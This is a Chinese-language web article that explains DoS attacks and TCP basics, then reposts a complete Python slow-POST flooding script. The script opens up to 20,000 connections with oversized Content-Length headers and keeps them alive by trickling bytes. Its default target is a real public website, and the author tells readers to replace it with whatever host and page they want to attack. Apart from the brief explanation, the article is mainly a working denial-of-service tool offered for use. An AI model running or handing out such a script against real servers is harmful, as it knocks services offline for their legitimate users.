您好,歡迎來電子發(fā)燒友網(wǎng)! ,新用戶?[免費注冊]

您的位置:電子發(fā)燒友網(wǎng)>電子百科>網(wǎng)絡(luò)>安防及入侵檢測>

dos攻擊原理及攻擊實例

2018年01月17日 15:33 網(wǎng)絡(luò)整理 作者: 用戶評論(0

DoS是Denial of Service的簡稱,即拒絕服務(wù),造成DoS的攻擊行為被稱為DoS攻擊,其目的是使計算機或網(wǎng)絡(luò)無法提供正常的服務(wù)。最常見的DoS攻擊有計算機網(wǎng)絡(luò)帶寬攻擊和連通性攻擊。

DoS攻擊是指故意的攻擊網(wǎng)絡(luò)協(xié)議實現(xiàn)的缺陷或直接通過野蠻手段殘忍地耗盡被攻擊對象的資源,目的是讓目標計算機或網(wǎng)絡(luò)無法提供正常的服務(wù)或資源訪問,使目標系統(tǒng)服務(wù)系統(tǒng)停止響應(yīng)甚至崩潰,而在此攻擊中并不包括侵入目標服務(wù)器或目標網(wǎng)絡(luò)設(shè)備。這些服務(wù)資源包括網(wǎng)絡(luò)帶寬,文件系統(tǒng)空間容量,開放的進程或者允許的連接。這種攻擊會導致資源的匱乏,無論計算機的處理速度多快、內(nèi)存容量多大、網(wǎng)絡(luò)帶寬的速度多快都無法避免這種攻擊帶來的后果。

已經(jīng)有很多介紹DOS(Denial of Service,即拒絕服務(wù))攻擊的文章,但是,多數(shù)人還是不知道DOS到底是什么,它到底是怎么實現(xiàn)的。本文主要介紹DOS的機理和常見的實施方法。因前段時間仔細了解了TCP/IP協(xié)議以及RFC文檔,有點心得。同時,文中有部分內(nèi)容參考了Shaft的文章翻譯而得。要想了解DOS攻擊得實現(xiàn)機理,必須對TCP有一定的了解。

1、什么是DOS攻擊

DOS:即Denial Of Service,拒絕服務(wù)的縮寫,可不能認為是微軟的dos操作系統(tǒng)了。好象在5·1的時候鬧過這樣的笑話。拒絕服務(wù),就相當于必勝客在客滿的時候不再讓人進去一樣,呵呵,你想吃餡餅,就必須在門口等吧。DOS攻擊即讓目標機器停止提供服務(wù)或資源訪問。

2、有關(guān)TCP協(xié)議的東西

TCP(transmission control protocol,傳輸控制協(xié)議),是用來在不可靠的因特網(wǎng)上提供可靠的、端到端的字節(jié)流通訊協(xié)議,在RFC793中有正式定義,還有一些解決錯誤的東西在RFC 1122中有記錄,RFC 1323則有TCP的功能擴展。我們常見到的TCP/IP協(xié)議中,IP層不保證將數(shù)據(jù)報正確傳送到目的地,TCP則從本地機器接受用戶的數(shù)據(jù)流,將其分成不超過64K字節(jié)的數(shù)據(jù)片段,將每個數(shù)據(jù)片段作為單獨的IP數(shù)據(jù)包發(fā)送出去,最后在目的地機器中再組合成完整的字節(jié)流,TCP協(xié)議必須保證可靠性。

發(fā)送和接收方的TCP傳輸以數(shù)據(jù)段的形式交換數(shù)據(jù),一個數(shù)據(jù)段包括一個固定的20字節(jié),加上可選部分,后面再跟上數(shù)據(jù),TCP協(xié)議從發(fā)送方傳送一個數(shù)據(jù)段的時候,還要啟動計時器,當數(shù)據(jù)段到達目的地后,接收方還要發(fā)送回一個數(shù)據(jù)段,其中有一個確認序號,它等于希望收到的下一個數(shù)據(jù)段的順序號,如果計時器在確認信息到達前超時了,發(fā)送方會重新發(fā)送這個數(shù)據(jù)段。

上面,我們總體上了解一點TCP協(xié)議,重要的是要熟悉TCP的數(shù)據(jù)頭(header)。因為數(shù)據(jù)流的傳輸最重要的就是header里面的東西,至于發(fā)送的數(shù)據(jù),只是header附帶上的??蛻舳撕头?wù)端的服務(wù)響應(yīng)就是同header里面的數(shù)據(jù)相關(guān),兩端的信息交流和交換是根據(jù)header中的內(nèi)容實施的,因此,要實現(xiàn)DOS,就必須對header中的內(nèi)容非常熟悉。

dos攻擊原理及攻擊實例

dos攻擊原理:DoS攻擊就是利用合理的服務(wù)請求來占用過多的服務(wù)資源,從而使合法用戶無法得到服務(wù)的響應(yīng)。(百度百科說的,大概就是這么個意思)。

dos攻擊與ddos攻擊的區(qū)別就是,它是一對一的攻擊,而ddos是分布式的攻擊,作為入門,作為菜鳥,我們他媽哪里有那么多肉雞給你用。。。所以不過對付一些帶寬小,內(nèi)存低,cpu渣的小型web服務(wù)器還是ok的。

現(xiàn)在,廢話不多說,本地搭建一個web站點測試一下。

測試地址:http://192.168.1.110/cloudmanage/admin.php#(本地的)

測試腳本:網(wǎng)上一堆。給大家轉(zhuǎn)載一個,如下:

#!/usr/bin/env python

import socket

import time

import threading

#Pressure Test,ddos tool

#---------------------------

MAX_CONN=20000

PORT=80

HOST=“www.baidu.com”

PAGE=“/index.php”

#---------------------------

buf=(“POST %s HTTP/1.1\r\n”

“Host: %s\r\n”

“Content-Length: 10000000\r\n”

“Cookie: dklkt_dos_test\r\n”

“\r\n” % (PAGE,HOST))

socks=[]

def conn_thread():

global socks

for i in range(0,MAX_CONN):

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

try:

s.connect((HOST,PORT))

s.send(buf)

print “Send buf OK!,conn=%d\n”%i

socks.append(s)

except Exception,ex:

print “Could not connect to server or send error:%s”%ex

time.sleep(10)

#end def

def send_thread():

global socks

while True:

for s in socks:

try:

s.send(“f”)

#print “send OK!”

except Exception,ex:

print “Send Exception:%s\n”%ex

socks.remove(s)

s.close()

time.sleep(1)

#end def

conn_th=threading.Thread(target=conn_thread,args=())

send_th=threading.Thread(target=send_thread,args=())

conn_th.start()

send_th.start()

腳本來源是:http://blog.csdn.net/jeepxiaozi/article/details/8799684

以上是一個python腳本。

HOST=“www.baidu.com”

PAGE=“/index.php”

我們要改的是這兩處地方

改為:

HOST=“192.168.1.110”//你要擼的主機ip地址/域名

PAGE=“/cloudmanage/admin.php”//你要擼的頁面

cmd命令行下執(zhí)行腳本

非常好我支持^.^

(2545) 82.8%

不好我反對

(527) 17.2%

( 發(fā)表人:龔婷 )

      發(fā)表評論

      用戶評論
      評價:好評中評差評

      發(fā)表評論,獲取積分! 請遵守相關(guān)規(guī)定!

      ?